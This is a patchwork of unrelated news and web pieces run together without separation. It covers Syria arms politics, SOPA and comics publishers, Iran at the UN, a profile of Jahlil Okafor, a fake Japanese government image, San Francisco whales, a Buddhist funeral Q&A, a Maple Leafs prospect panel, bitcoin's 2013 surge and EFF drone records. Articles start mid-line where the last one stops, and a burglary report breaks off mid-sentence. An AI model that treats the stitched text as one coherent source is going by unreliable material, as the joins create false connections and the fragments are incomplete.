There were significant risks to arming the Syrian opposition when it was first debated several years ago. The “good rebels” were hard to identify, the arms might fall into the hands of ISIS and other jihadist groups, and the United States has a poor track record for backing resistance movements. The research shows it leads to costlier and longer wars. Indeed, Sen. Rand Paul criticizes the president for the limited arms he provided the Syrian rebels at all—he says the support ended up in ISIS’s hands—which is the exact opposite position of the Wall Street Journal’s editorial page.
If two of the president’s chief critics can’t even agree on the chain of causation in Syria, that suggests the issue is a little more complicated than it is being presented. Will that complexity be debated? Sen. Mark Begich, an endangered Democratic senator from Alaska, said he did not approve of arming the Syrian opposition. “We must have greater assurance that we aren’t arming extremists who will eventually use the weapons against us.” In Colorado, Sen. Mark Udall, who also faces a tough re-election, said, “I will not give this president … a blank check to begin another land war.”
The president didn’t just start a new military phase of the war on terrorism; he started a new round in the foreign policy conversation. He was brought to office by a war-weary nation. Now the polls suggest the nation is tired of him. For the moment that means the country is looking for a more assertive foreign policy. Whether that is a permanent new condition depends on future violence and success. But at the moment the incentive is for most politicians to make declarations of strength to distinguish themselves from the unpopular incumbent. The presidential candidates in 2016 will be particularly emboldened, since they traditionally run as an antidote to the perceived deficiencies of the current occupant. That’s certainly the way Sen. Barack Obama won office. If his overcorrection was born in his simplistic response to the deficiencies of his predecessor, then judging by the way this current foreign policy debate is going so far, it likely contains the seeds of the next overcorrection.The weekend after black Friday was a good one for commercial businesses nationwide, but particularly good for retailers near the Canadian border.
"The hotels were booked to capacity," says Joe Unterreiner, the president of the Kalispell Chamber of Commerce. "I think that a lot of that has to be due to bargain shoppers from Canada."
Part of the reason for the influx of Canadian buyers has to do with changes in Canadian law that went into effect in June of 2012. Before, overnight shoppers could only carry $50 worth of merchandise across the border duty free. Now, that limit is up to $200. The amount of money able to be spent by individuals goes up the longer they stay in the U.S. so it is now possible for Canadians to make much larger purchases and return without paying added costs.Happy Holidays, everyone. Now stop using the internet. That appears to be the message from a number of comics publishers, however unintentional.
On Thursday, December 22, the United States House of Representatives Judiciary Committee, chaired by Congressman Lamar Smith (R-TX), released a list of supporters of H.R. 3261, the Stop Online Piracy Act (SOPA). This bill is an attempt by lawmakers to address intellectual property security concerns on the internet. However, it has been flagged by various organizations and individuals for going too far, giving broad power without due process, limiting free speech and discouraging technical innovation. Graphic Policy has a great summary of the bill’s weaknesses and how it relates to the comic book industry. Some are claiming it could cripple social sites like YouTube, Facebook, and Tumblr, along with thousands of harmless fan-sites and any other sites sharing their IP addresses.
Among the corporations and organizations listed as supporters of SOPA are the following comic book and graphic novel publishers:
Also included is the Association of American Publishers, which counts DC Comics, Disney Publishing and more among their members.
As we come out of the holidays, many of these organizations might have to start responding to a vocal outpouring of concern among customers and partners, and in some cases, threats of organized boycotts.
There has been considerable push back already, and from public pressure some organizations have dropped their support of SOPA. The Graphic Artists Guild has retracted their support, stating “We are concerned that the bill may have unintended consequences that may do more harm than good.” They also added that they “have not spent a dime on any lobbyist in Congress for this bill”. The largest domain name registrar GoDaddy faced massive threats of boycotts, and has also reversed their position. Time will tell if more will shift their support.
(via Graphic Policy)Iran’s statement to the council was “strikingly at odds with the reality on the ground,” Mr. Posner said later, adding that the challenge now was to “figure out what we can do to help those people that are being tortured in the prisons.”
“We’re going to continue to press it as many other governments are,” Mr. Posner said.
Britain’s ambassador to the United Nations in Geneva, Peter Gooderham, called on Iran to invite Secretary General Ban Ki-Moon to investigate post-election violence and assess the state of human rights and to accept a visit by the United Nations’ top human rights official, Navi Pillay.
“Grave human rights violations continue to be committed,” Mr. Gooderham said.
France’s ambassador, Jean-Baptiste Mattei, saying that Iran had launched “a bloody repression” of its own population, also called on Iran to accept an independent international investigation.
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At a follow-up Human Rights Council session on Wednesday, Iran is scheduled to state which recommendations it intends to pursue. But officials have already ruled out the notion of an external investigation.
“That’s totally out of the question,” Seyyed Hossein Rezvani, the Iranian Foreign Ministry’s deputy director-general for human rights, told The Associated Press, saying that Iran had numerous domestic mechanisms for handling such issues.
Iran, which is expected to seek membership of the 47-member Human Rights Council in elections in May, may seek to be receptive to some requests, human rights organizations said.
In his statement to the council, Mr. Larijani said Iran had fully cooperated with the United Nations’ human rights mechanisms and had invited Ms. Pillay, the human rights commissioner, to visit the country. Ms. Pillay’s spokesman, Rupert Colville, confirmed that Mr. Larijani had issued the invitation on Friday. Ms. Pillay responded that she would be unable to visit before 2011 and suggested that a team from her office be allowed to visit Iran first. Mr. Larijani had not yet responded to that suggestion, Mr. Colville said.
Human rights groups said Iran’s claims of cooperation with the United Nations were exaggerated. No Human Rights Council official has visited the country since 2005, and numerous requests from special investigators remained unanswered, said Hassiba Hadj Sahraoui, deputy director of Amnesty International’s Middle East program.
“What we heard today was blanket denials and a lot of cynicism,” Ms. Sahraoui said, adding that Mr. Larijani’s report on human rights was less revealing than information provided by authorities in Tehran, where official figures show that 47 people have died in political violence and up to 5,000 people have been arrested. Figures recorded by Amnesty International also show two people have been executed for political offenses and nine others sentenced to death, she said.
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But, she added, “what we heard today was everything is fine.”Boulder police have arrested a 31-year-old Aurora man who they suspect is responsible for more than 40 burglaries and attempted burglaries in the city between April 1 and Sept. 20.
Nick Duskin was arrested Wednesday in Aurora on suspicion of 47 offenses, including second-degree burglary, theft between $5,000 and |
son home from nursery school and stopping to look at some puppies; of Jahlil, in diapers, dunking on a rim made from a coat hanger his dad bent into a hoop and fastened to a door. “Ghetto basketball,” Chucky says on the video. “Tear the roof down, Jah-Jah.”
Jahlil is at practice this afternoon. Chucky didn’t want him here when we watched the video. He knew it would make him uncomfortable. Even for an outsider, the footage is bittersweet. Here is a couple in a tough situation, still managing to shower their kids with attention and love. It’s impossible not to be moved, especially knowing what’s to come.
We are eating dinner on the back patio of a Hooters near the O’Hare neighborhood apartment he and his father share when Jahlil tells me the story. He begins it so matter-of-factly that, at first, I think he must have told it a hundred times.
He was nine when it happened, home watching TV with his sister. His mother was resting nearby. She had been battling bronchitis for a couple of weeks.
‘[My mother] was very strict. She would stress to me being respectful of women. People always credit me for being nice to people, but that was all due to her.’ Jahlil Okafor
They were living in tiny Moffett, Oklahoma, near the Arkansas border, where Dee had grown up and where her mother still lived. Two years earlier, Chucky had moved back to Chicago, where he’d grown up, to work on his bachelor’s degree at Chicago State. Dee had a job as a hotel receptionist in Fort Smith. As a couple, they had been on and off, but by then, 2005, Dee had moved on to another relationship.
Jahlil was extremely close to his mother, who was 29 at the time. “Whenever I saw her, I would give her a big hug,” he says. “She would take me to the basketball court and I would watch her play. She was very strict. She would stress to me being respectful of women. People always credit me for being nice to people, but that was all due to her. She was also really funny, a big jokester.”
Which is why he didn’t realize right away that there was a problem that day. “I remember she started coughing and breathing real heavy, making a weird noise,” says Jahlil. “I thought she was just kidding around. I started tackling her and laughing. I walked to the kitchen and was like, ‘Mom, I’m taking your Oreos,’ because she was always real strict about her Oreos. I expected her to say, ‘Don’t do that.’ But she just kept breathing heavy.”
That’s when Jahlil knew she was in trouble. One of her lungs had collapsed. The phone in the house wasn’t working, so Jahlil and his sister ran to the neighbors to call 911. “We were screaming,” he says. “I remember the ambulance coming and them ripping her shirt open. I remember them taking her away.”
Jahlil and his sister waited at the hospital for word about their mom. “The doctor came out and said she didn’t make it. I just remember crying.”
By now Jahlil’s voice is cracking as he tells the story. “I went into her hospital room. She was lying there. I remember I touched her hair...”
He lowers his head and cups his face with his giant right hand. “I’m sorry. This is my first time talking this descriptive about my mother.”
The pain never really goes away, does it?
“Uh-uh,” he says.
Does he want to continue later?
“I can finish,” he says, lifting his head and wiping away tears. “I rubbed her hair. I remember it was supersoft. I kept going in and out of the room, looking at her, like 30 minutes at a time, not wanting to leave. I was there pretty much the whole night. It didn’t seem real to me. I was heartbroken.”
For years he beat himself up for not reacting sooner. “It happened right in front of me,” he says. “I’ve put myself in her shoes, thinking about what she must have been thinking: I’m suffering and he’s just looking at me, laughing.”
Has he finally been able to stop blaming himself? He’s silent for a few seconds before he answers. “Yeah. But even now I still have to think, What if I could have known right off the bat that she wasn’t playing? She would still be here.”
After his mother’s death, Jahlil moved to Chicago to live with his dad, while his sister stayed behind with their grandmother. Even when they were apart, father and son had kept a strong bond. Chucky used to call Jahlil every day after school. They always ended the conversation the same way.
“Who loves you more than your daddy?” Chucky would ask.
“Nobody,” Jahlil would say.
Chucky describes his parenting style as a cross between Cliff Huxtable and Furious Styles, the philosopher-disciplinarian from the film Boyz n the Hood. (On Chucky’s phone, Jahlil’s calls come up “The Prince,” a reference to a Styles line: “You the prince. And I’m the king.”) “He is kind of the opposite of me,” says Jahlil. “People say I’m more mellow. He does a lot of goofy things. If I’m with a bunch of my friends, he’ll come in and Dougie—you know, the dance. And at games, people know him as the crazy loud guy.”
About a year after his son arrived, Chucky moved them to Rosemont, on the outskirts of the city, far from the tough South Chicago streets of his childhood. (They later moved back into Chicago, just over the border, so that Jahlil could attend Whitney Young.) “A lot of the flaws I had in my life,” says Chucky, “those are situations I never want Jahlil to have to be in.”
Like Jahlil, Chucky lost his mother at an early age. She died from breast cancer when he was 18 months old. He was raised by his single father, a Nigerian immigrant. Chucky had been, in the words of one of his sisters, a “roughneck.” At 13, he was caught driving a car he and some other boys had stolen. Later, he hustled drugs. He bounced around to five high schools in three years, mostly because he kept getting expelled for fighting. At one point he lived in a group home for troubled kids.
And though the 6-foot-5 Chucky dreamed of playing basketball professionally and was all-city at Bowen High School his senior year, he proved to be his own worst obstacle. He was kicked off the Westark team for using a stolen credit card, kicked off at Carl Albert for getting into a fight with a neighbor, and kicked off at West Texas A&M after only one game for disobeying the coach. “I finally came to the realization that I can’t take authority,” he says.
By the time Jahlil arrived in Chicago, Chucky had gotten his life straightened out. He was working as a doorman at an Edgewater condominium and had earned a bachelor’s in curriculum and instruction at Chicago State. Later, he’d add a master’s in instructional technology from an online program at American InterContinental University. (At 38, he now works as an assistant coach at Whitney Young and as a rep for World Ventures, a travel marketing company.)
Jahlil, tall for his age, had wanted to be an NBA player for as long as he could remember, and after moving in with his dad, he began to concentrate on basketball even more. His AAU team—he continued to play on a squad in Arkansas with his friends while spending summers with his grandmother—won three age-group national championships in four years. Chucky helped him further refine his game. He bought him a pair of weighted training shoes and put him through footwork and agility drills. He had him running in the pool to improve his strength. And then there were the countless games of one-on-one.
“He would always beat me, but he was helping me,” says Jahlil. “Like, he would block my shot and tell me to use my other hand.” Explains Chucky: “My thing was, anything I had a weakness in, I didn’t want him to have. I couldn’t shoot with my left until I was in college. And you see Jahlil now: He’s got a left hand.”
It wasn’t until eighth grade that Jahlil, already 6-foot-8, finally beat his dad. “I remember him getting mad and saying I fouled him,” says Jahlil. “We were out there arguing while we were playing.” Recalls Chucky: “I came home and told my brothers, ‘Yeah, he got me. But I got beat by a pro.’ ”
When it came time to think high schools, Chucky had Whitney Young in mind from the start. Growing up, he had admired it as the place the smart kids went. But Chucky wanted to make sure his son felt comfortable there, so he arranged a meeting with Coach Slaughter.
Slaughter had never heard of Jahlil, in part because he had been playing outside the Midwest AAU circuit, so he had one of his coaches put the kid through some drills. “He was palming balls off the ground. Making every shot. Completing every drill they threw at him,” says Chucky. “I remember watching Ty’s reaction. He was just shocked.”
That wasn’t the only thing about Jahlil that made Slaughter’s jaw drop. The summer before he started at Whitney Young, Jahlil played for the coach’s AAU team. “We went to nationals in Orlando and stayed in a house,” recalls Slaughter. “That first night, Jahlil comes downstairs and grabs a mixing bowl. He takes the cereal, pours it in the mixing bowl, then pours in a half gallon of milk. I told his father, ‘I don’t know how the fuck you feed him. It’s unbelievable.’ ”
When Jahlil was in junior high, Chucky would e-mail college coaches, telling them to put his son on their radar. But he didn’t get any traction until a DePaul assistant happened to catch one of Jahlil’s eighth-grade games. He reported what he saw to the university’s head coach at the time, Tracy Webster, who invited father and son to a game. “He was like, ‘Man, I’ll sign you right now,’ ” recalls Chucky. “I didn’t take it seriously. Then the next day it’s on ESPN: ‘DePaul makes offer to eight grader.’ Everybody started taking notice after that.”
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Though Jahlil came to Whitney Young as something of a celebrity, he played behind center Thomas Hamilton Jr. as a freshman. But the next year, after Hamilton got injured, Jahlil showed what he could do, putting up a stellar 20 points and 10 rebounds a game. Last year, as a junior, he averaged 20 points and nine rebounds as he led the team to a 27–4 record and a national ranking that reached as high as No. 2.
In an era when big men like to roam the perimeter, Jahlil is a throwback: a back-to-basket center who dominates in the post. But he’s coveted not just for his sheer size and power. He is a deft passer, and with his spin moves and shot fakes, he’s drawn comparisons to Tim Duncan and Hakeem Olajuwon.
When I ask Chucky how he’s been able to keep his son grounded amid all the attention, he rebuffs the question. “Some things I don’t even want to take credit for. That’s just him. That’s just who he is. He knows right from wrong, and 96 percent of the time he’s going to do right.”
Chucky can remember being called to school only once: Jahlil was in fifth grade and got into a fight with a boy who called him a nigger. “The parental side of me had to explain to Jahlil you can’t lose your emotions like that,” says Chucky. “But in my head I was happy Jahlil smacked him.”
When you are Jahlil Okafor, there’s no shortage of suitors—college coaches who flock to your games and practices; who text and call you multiple times a week just to check in; who send you Photoshopped images of you shaking hands with the NBA commissioner (as Baylor did); who name their dog after you (as an assistant at Ohio State did).
If you were a coach making an in-home visit to the Okafors last spring, you couldn’t escape without having your photo taken doing “the look-away”—a family tradition of never staring directly at the camera. The result: unintentionally hilarious images of Duke’s Mike Krzyzewski, Kansas’s Bill Self, and other college royalty striking arms-crossed B-boy poses next to a grinning Chucky. To keep the mood relaxed, Chucky would also stock up on Heinekens and order in Giordano’s. “I just figured it would be cool to have Coach K in my house drinking a beer with me,” he says.
Jahlil and his father, Chucky, with Duke University coach Mike Krzyzewski (bottom photos) and coach Bill Self of the University of Kansas (top photos). Photo: Courtesy of the Okafor family
“Typical of my dad,” says Jahlil, with a roll of his eyes. “He didn’t want it to be too stressful for me. I think that was his way of showing you can enjoy it.”
With a prize prospect like Jahlil, the pressure is actually on the coaches. And any miscue can cost them. One coach begged Jahlil to save his job by coming to his school. (Big turnoff.) Another made disparaging remarks about his rivals. (Jahlil stopped returning his messages.) In perhaps the biggest stumble, one told Jahlil to pass along best wishes to his mom on Mother’s Day. (“Obviously, they don’t know anything about me,” Jahlil told his dad.)
In mid-November he settled on Duke. “It came down to it being Coach K and the brand name of Duke, being part of that legacy,” he says. He made his decision in conjunction with another top prospect, Tyus Jones, a point guard from Minnesota. The two had bonded playing on U.S. national teams together and decided to make themselves a package deal. “He’s like a brother to me,” explains Jahlil. “But also, I want to win.”
Before he heads to Durham, North Carolina, next fall, Jahlil has some unfinished business in Chicago. Last year’s state tournament loss is still fresh in his mind. He had one of his poorer outings of the year that game, managing only 13 points, while Simeon’s star, Jabari Parker, his friend and AAU teammate, outshined him, scoring 29.
That memory is one reason Jahlil has come back this season in better condition than ever. “He’s a hellacious worker,” says Slaughter. “He’s replaced a lot of baby fat with muscle.” Continued belowA thousand Japanese facebook users unknowingly endorsed and shared a fictitious image [ja] that seemed to be an official publication and highlighted the negative impact Japan's apologetic stance in history has on the country's children.
A citizen journalist traced the image, which even has the official government seal of Japan in its top-left corner, (although the government does not use this seal for its official publications) to a right-wing Facebook page.
Facebook user Tsubasa who liked the image wrote[ja] in support of a patriotic view:
自虐的な教科書には、もううんざり(´・ω・`)ちゃんとした教科書を、今の子供達に読んで欲しい!!戦争を美化するつもりは、ありませんがその当時の先人が、何を想い何のため戦い散ったのかを、教えて欲しいです。
I'm sick and tired of introspective history textbooks. I want the children today to learn from legit textbooks. I don't mean to glamorize the war, but people need to think what they fought and died for.
The fabricated image took a life of its own on Facebook when it was shared along with famous quotes, from Indian jurist Radha Binod Pal, Thailand politician Kukrit Pramoj, Indonesian scholar Arifin Bey and British historian Arnold J. Toynbee, that reinforced the idea that Japan's war posture was always for Asia's liberation.
Earlier this year, Japan's Prime Minister Shinzo Abe, almost offended China and Korea, when he signaled that he would “review” the country's apologies made in the past for its World War II aggression. Later, he backtracked and said would not review Japan’s wartime history and that he would abide by the official stances of his predecessors on the issue.
Facebook user Rie noticed it was fake:
この画像は偽造です。確認しましたが、このような政府広報はありません。誰かが何らかの意図を以て「政府広報」を偽造し、フェイスブックで拡散するのは異常な事態だと思います。一体何の目的で偽造するのでしょうか。分からない。
This image is fake. I've checked and I can tell you there's no such government publication. It's insane for somebody to intentionally create a fake government image and amplify it on facebook. I don't understand why they do this on purpose.
Citizen journalist Norifumi Ohtani at Miyazaki Citizen Media criticized [ja] social media users who shared this image without verifying its source and traced the image to right wing activists who apparently fabricated the image, and gave it an official government seal.
The image of the uniformed child originated from an online shopping site for children's school-bags. Ohtani wrote a series of analysis [ja] on how the image was edited and right-wing text and a government seal were added, before it was appropriated on a Facebook page and shared without context.
He adds:
It is okay to quote blogger's posts, but when you quote, make sure you name the source. I think people should refrain from abruptly sharing facebook images, [out of context] when they do not reflect the agenda of the author. Maybe it's nice to pause for a second and verify where the source comes from.
The alleged creator of the image was a Facebook fan page called “反日対策協議会” [eliminate anti-Japanese activity]. They have since admitted [ja] that it was fake, meant to be ‘parody.’ The Facebook page of Japanism also added a comment [ja], apologizing for sharing the image without checking where it came from.
Ohtani criticized [ja] the ‘parody’ which mislead citizens, saying that right-wing activists went too far in disguising themselves as a government publication.
The quoted blog post was written by Norifumi Ohtani in Japanese under Creative Commons License BY-NC-ND 2.1, by Nippon：Citizen's Media MiyazakiSAN FRANCISCO -- In San Francisco Bay, it's been a great week for whale watching thanks to some special visitors seldom seen in those waters.
It is an unusual sight to be sure: Humpback whales frolicking in the shadow of the Golden Gate Bridge.
"It's pretty dramatic, and it's delightful to have wildlife of this grandeur in San Francisco Bay," Jeff Boehm, executive director of the Bay Area's Marine Mammal Center, told CBS News.
Boehm said the migrating whales are following food into the shallower waters.
"The problem occurs when our zeal to get close to them interferes with their natural behavior," he said.
Terry Parks shot video while kitesurfing near two of the whales.
Marine biologists say humpback whales have been swimming into San Francisco Bay in unprecedented numbers during the past two weeks. KPIX
"There were a couple of times there where you can't see where they're gonna submerge, and then they come up pretty close to you," Parks said.
Over the past few days, boaters have seen whales breaching in the bay.
And while the 60,000-pound whales are considered docile, Boehm pointed out, "All of these animals are going to be unpredictable, and these humpback whales can be rather aerobatic as well."
And that can be dangerous -- as kayakers in Monterey Bay found out last fall.
Another concern for scientists is that the whales could continue to swim inland, up the Sacramento River and get stuck as a humpback named Humphrey did back in the 1980s and '90s.
"A tide can shift relatively quickly, leave the animals in water that's not navigable," Boehm said. "Also, as they move up into rivers, into fresh water, which can start over time to have effects on their skin."
Marine biologists say warmer ocean temperatures caused by El Nino are drawing in marine life that would typically only be seen in deeper waters.
How long the humpbacks will stay in the bay -- and whether it's part of a larger pattern -- is still unclear.Question: During cremation (or burial), undertakers often ask the surviving family to put their palms together while watching the deceased being pushed in (or buried). Is it better to Nianfo (chant Amitabha Buddha’s name – ‘Amituofo’)?
Answer: Yes, guiding the deceased’s consciousness (if still around) to Nianfo by setting the example is the best thing to do. If not, the survivors will usually entertain stray thoughts of grief, which if read by the deceased’s consciousness, might stir thoughts of attachment, that distract him or her from Nianfo for reaching Pure Land. Before chanting, these words can be said aloud near the body. (Only when it is not convenient should it be thought ‘aloud’, for the consciousness of the deceased to read one’s mind for the message.)
‘Dearest _____ [name of deceased], as you are now deceased, it is time to Nianfo with us sincerely now, so that you can reach Amituofo’s Pure Land – where there is no more suffering, where there is only bliss. Please do not be attached to your wealth and family, as you have to leave them behind. We assure you that all will be well. They too will Nianfo to reach Pure Land when it is time to meet you there. Please Nianfo with us as sincerely as you can because this is the only way to have the best rebirth before it is too late. This is the best thing you can do for yourself and your loved ones. Please do not be attached to your body. Please continue to Nianfo sincerely all the way, until you see Amituofo come to guide you to his Pure Land. Please follow only Amituofo and no one else. Let us Nianfo sincerely now. Amituofo, Amituofo, Amituofo…’
Question: As many services are very quiet, with no one chanting ‘Amituofo’, is it alright to chant aloud?
Answer: As above, it is the best thing to do, to lead all present to Nianfo in unison. Many services are quiet simply because the ones present did not have anyone who knew what best to do.
Question: If the funeral service is conducted in a Chinese dialect, can the Nianfo be in Chinese?
Answer: Yes, this is alright as most Chinese have heard of Amituofo’s name in Chinese in their lifetimes. However, if the deceased is used to the name in dialect, it is better to stick to the dialect version.While there may not have been unanimity in 2016 NHL Draft rankings that ought to have had Auston Matthews as their top-ranked player, the staff at PPP didn't cast any doubt on his status within the organization.
Unanimously ranked at No. 1 by all 14 panelists in this year's Maple Leafs' Top 25 Under 25 series, Matthews has almost certainly added some predictability to this ranking for years to come -- or at least until he turns 25 or he's traded (gasp).
Ultimately, what the 2016 ranking came down to was a battle for second place between William Nylander and Mitch Marner, with the former narrowly edging out the latter.
With World Cup of Hockey pre-tournament exhibition games already well underway, Matthews' much-anticipated rookie season as the first Leafs no. 1 selection since Wendel Clark is already in motion. And it will be an unorthodox campaign, one that sees the 18-year-old miss the better part of his first training camp to instead compete against his future teammates and head coach but alongside Morgan Rielly with Team North America.
The hulking centre, who played in his first tuneup game against Team Europe in Quebec City last night -- going scoreless in a little more than 13 minutes of ice time -- will participate in at least five more games (two pre-tournament games against Team Europe and Team Czech Republic and three round-robin games against Team Finland, Team Russia and Team Sweden on September 11, 14, 18, 19 and 21 respectively). If Team North America is successful in finishing in the top half of their group, Matthews could participate in as many as four more games (a semifinal on September 24 or 25 and a best-of-three final that could run as late as October first.
For the Leafs, whose regular season starts in earnest on October 12, this could limit their top rookie and soon-to-be top centre to just one or two preseason games (the Leafs' preseason ends with an away game in Detroit on October 8, just a week after the end of the World Cup).
For Matthews, who was selected to Team North America at the World Cup over the likes of 30-goal scorer Alex Galchenyuk, expectations will be higher than perhaps ever before on a Leafs rookie. No matter how coach Mike Babcock attempts to temper expectations by insisting that Matthews will "start on the third line," Matthews will be placed with franchise-burdening responsibility from the outset and will (already has) become synonymous with the success of the team moving forward no matter how prolific he becomes as an individual.
After Buffalo Sabres rookie Jack Eichel registered 56 points in his rookie season in 2015-2016, the bar has already been set for his fellow National Training Development Program-bred compatriot.
As far as wrapping up the series goes, ultimately it's the voters and writers who make this series so great, providing insight and debate along the way. Proof of that lies in that this year, the 2016 instalment of the T25U25 was read by more people than ever before -- and it wasn't even close. As such, we thought it would be a fitting way to end the series by having our panelists put into perspective just what Matthews means to the organization.
Burtch believes Matthews will be thrust into a position among all-time greats.
In Matthews the Leafs hope they have finally found the heir to the mantle that was worn so well by the likes of Sundin, Gilmour, Sittler and Keon before him. Wandering through the wilderness seem like tradition for the franchise, but in reality, it is a sad state of affairs the once proud organization is in the process of reversing, and Matthews is a large part of that metamorphosis. True generational talent doesn't take multiple years to make an impact in the NHL. The Leafs hope Matthews can hit the ground running. The future begins now. - Burtch
Achariya is confident Matthews will be able to step in and be a top player immediately.
We have already been able to see how Matthews stacks up to NHL-caliber players at the IIHF World Championships this past May. He played for the U.S., and stood out despite the fact that the team did poorly. (IS THERE A HOCKEY CRISIS IN THE US?) Matthews played a well-rounded game with excellent hockey sense, completely unafraid to use his size and ability to back-check when necessary, and used his passing ability to stretch-pass to spring the puck. In the game against Belarus, Matthews was trusted with the second-highest ice time among forwards by the U.S. coach, and ended up scoring twice (once on the PP and once at 5x5), for a three-point game. His size, agility, and maturity on the ice will continue to allow him to play well for the U.S. (oh and the Maple Leafs) next season. - Achariya
Fulemin has no doubts about Matthews' ability so long as he can stay healthy.
If he remains healthy, Auston Matthews is going to be a 1C in the NHL. Simple as that. - Fulemin
While Seldo argues the team belongs to Matthews already, even before he has played a game.
This season Auston Matthews will take over the Toronto Maple Leafs. He'll be the focus of TV, marketing, giveaways, everything will be Matthews. Which is a plus for the other players like Nylander, Kadri, Rielly, etc.. as the pressure will be off them for the start to the season. He'll be one of the Leafs top players, and will wow people every night. Not that I thnk this means they're contenders, I wouldn't put any money on them making the playoffs, but this team will be a much better onbe to watch than last year. - Elseldo
Fifty believe Matthews' experience will help him quickly transition to the NHL game, and that could go down as one of the all-time homegrown players in an organization that has often acquired its top talent via trade or free agency.
Auston Matthews will be in a transition from rookie to future team leader, and I suspect it may take less time than some might think. Matthews has a year of professional hockey under his belt already; he has faced NHLers on the international stage and prevailed. He will do so again at the World Cup of Hockey. Off the ice, Matthews seems like an ideal candidate to handle the relentless Toronto media fishbowl. Yes, he does seem boring, dry, almost robotic in his interviews, but in this market, that might be an asset. Unlike some who have criticized Babcock’s expected decision to start Matthews in third-line minutes, I welcome the idea of easing him in. Prior to drafting Matthews, the Leafs already had a capable 1C in Kadri, and Bozak in a 2C role is fine. I suspect he will flourish in his easy minutes and work his way up before the season is over. Matthews won’t set the world on fire, at least right away. Short of generational talents like Crosby and Ovechkin, no rookie can be expected to be a top scorer in the league. John Tavares had 54 points; Steven Stamkos had 46 (albeit with early season struggles due to a bad coach mismanaging him). I’d likely peg Matthews around those numbers. I’d probably hedge my bets on anywhere from 15-20 goals and 45-50 points. What Matthews means to this organization, though, is hope. Name the last elite homegrown talent the Leafs have had. Phil Kessel was acquired via trade. Mats Sundin was acquired via trade. Doug Gilmour was acquired via comically lopsided trade. You would have to go back to Wendel Clark to find the last face of the franchise developed from within. I think Matthews will be far and beyond better than Clark, or even any of those players. The sky’s the limit. - Mike
Katya thinks Matthews is boring, and she's right (as always).
Auston Matthews is really rather boring. In interviews he's dull, almost lifeless at times, and he never says anything incendiary. He does light up occasionally when he hits a topic he enjoys talking about. He smiles suddenly, and it's shocking to see, but it works to draw you in. He is also a little boring on the ice. He does not have Patrik Laine's big, booming shot. He does not have Jack Eichel's turbo boost breakaway speed. He does not have Connor McDavid's total domination of the game, like he can see into the future ten moves ahead of everyone else. He's more like McDavid than the other two, but with Matthews it is a different kind of dominance. He commands space, not time. He runs the play. He makes the other guys on the ice do what he wants them to do, and not just his own team either. He forces the opposition into the space he wants them to be in so he can do what he wants. He wants the puck, he wants to own the ice, and he can and will appear at will in the slot in scoring position, and you won't always be sure how he got there. Maybe he teleports. He seems smaller on the ice than he is. He is smooth and agile in the offensive zone like a winger, not a big, bruiser of a centre. He likes the sweet spot at the goalie's left hand, a classic left-shooting winger location, and he can slide into place there for a pass like he's been playing wing his whole life. Winger is just a role he plays sometimes to make the other team forget about him until it's time to score, a trick he managed for ZSC while wearing the fancy gold jersey of the top scorer. So, maybe he is psychic. He is one thing for sure: the next star of the Toronto Maple Leafs. - Katya Knappe
Species puts it more simply.
He makes me feel tingly in my special area. - Species 1967
And 67 Sound is confident Matthews has already put himself in a historic position.
Auston Matthews is, quite simply, the best prospect that the Leafs have had in the expansion era. Wendel Clark, their only other #1 pick, was a debatable first overall, not a consensus elite centre. This year, I expect that with 2nd line minutes and PP time Matthews should manage 50 points. Long term, he is the heir to Mats Sundin. A big, skilled (if not physical) 1C with legitimate 40-40 potential able to match up with just about anyone short of Connor McDavid. - 67 Sounds
Regardless of what anyone thinks, it's time to put aside offseason rankings and get the show started.
He'll be okay. Just okay. - KatyaknappeKonami is to release PES 2016's upcoming UEFA Euro 2016 DLC for free in an effort to win back the trust of fans following the blunders with last month's player transfer Data Pack, the publisher has announced.
While details on the content have yet to be revealed, all PES 2016 owners will be able to download the DLC free of charge upon its release, with a further Data Pack introducing the Maracana Stadium, new national team kits, club teams and an updated player roster set to arrive in early December.
"It has been a difficult few months for the fans in how we have been delivering content in our recent Data Packs, with some items missing that our consumers expected," said Konami's Football & Alliances Director Erik Bladinieres. "The PES Production team appreciate their fans' support and want to reward their support and bring back confidence in the Data Pack releases. With this announcement, we hope we can regain their trust."
He continued: "We strive to keep delivering quality content to our fans, for free. The content of the UEFA EURO 2016 content has yet to be defined, but all content delivered by Data Pack featuring EURO for next year's prestigious tournament will be free to all existing users."
PES 2016 launched on PS4, Xbox One, Xbox 360, PS3 and PC back in September and, according to Steve, is "the best football game ever".
Konami was criticised, however, for its failure to deliver the promised player transfers in the game's first Data Pack, leading to frustration from fans upset with the game's outdated rosters.
A release window for the UEFA Euro 2016 DLC has yet to be announced.
Source: KonamiThe digital currency bitcoin continued its surge on Tuesday crossing $200, more than doubling in value in just over one week. Bitcoin's value at the end of February was just over $30.
Bitcoin allows users to exchange online credits for goods and services. There are currently 10 million bitcoins in circulation but the currency is capped at 21 million coins.
Bitcoin's value rise is being ascribed to the uncertainty over other currencies, the fallout from the Cyprus crisis and the intense media speculation.
(Read More: Bitcoin Bubble: How 'Geeks' Sent Prices Parabolic)
Much of that media scrutiny has asked whether Bitcoin's rise is a bubble in the making. Warning signs are evident: the digital currency's value fell $20 last Wednesday when Mt. Gox, the largest trading platform for the currency, suffered an outage for an hour. It also dropped 10 percent in value on Monday without explanation.
David Jones, chief market strategist at IG Markets, says the rising demand for bitcoin makes it a potential safe haven given that the currency has a limited output – by 2140, all bitcoins will have been generated. "If it's something where there will always be demand, the fact that it's limited should give you security, like with gold," Jones said. "The issue is whether at this stage, where it's gone up 200 percent, there is a lot further for it to go. No one knows."
Not all Bitcoin news has been positive. Yesterday it was reported that a piece of malware on Skype was hijacking computers and forcing it to mine bitcoins. Jones said such stories did make for discomforting reading for bitcoin investors.
(Read More: Bitcoin Great for Narco-Dollar Traffickers: Pro)
"Part of bitcoin's appeal is that there is no regulation, so nobody can come in and force quantitative easing etc.," he said, "but no regulation also means someone could turn on a tap and just create more and more bitcoins. I'm not saying bitcoin's price won't go up any further, but I'm not putting my pension on it."
Jones concluded that while bit coin could indeed rise further in the next few weeks,"my guess is that in a year's time I wouldn't be surprised if we'd stopped talking about it."EFF Releases New Government Documents on Drones and Law Enforcement Training
EFF recently posted three new sets of documents obtained through FOI requests. Yesterday, as reported in the Wall Street Journal, EFF released the lists of private and public entities that have been granted authorization by the Federal Aviation Administration (FAA) to fly drones in the United States. The lists were obtained through EFF’s lawsuit against the FAA, which seeks a variety of information on domestic drone authorization and use. The lists provide the public with the most |
Sub-tropical areas
In nice'sun traps' (areas which collect the full sun in winter and are protected from winds – often on the north side of buildings or dense plantings) you might also arrange some sub-tropical areas.
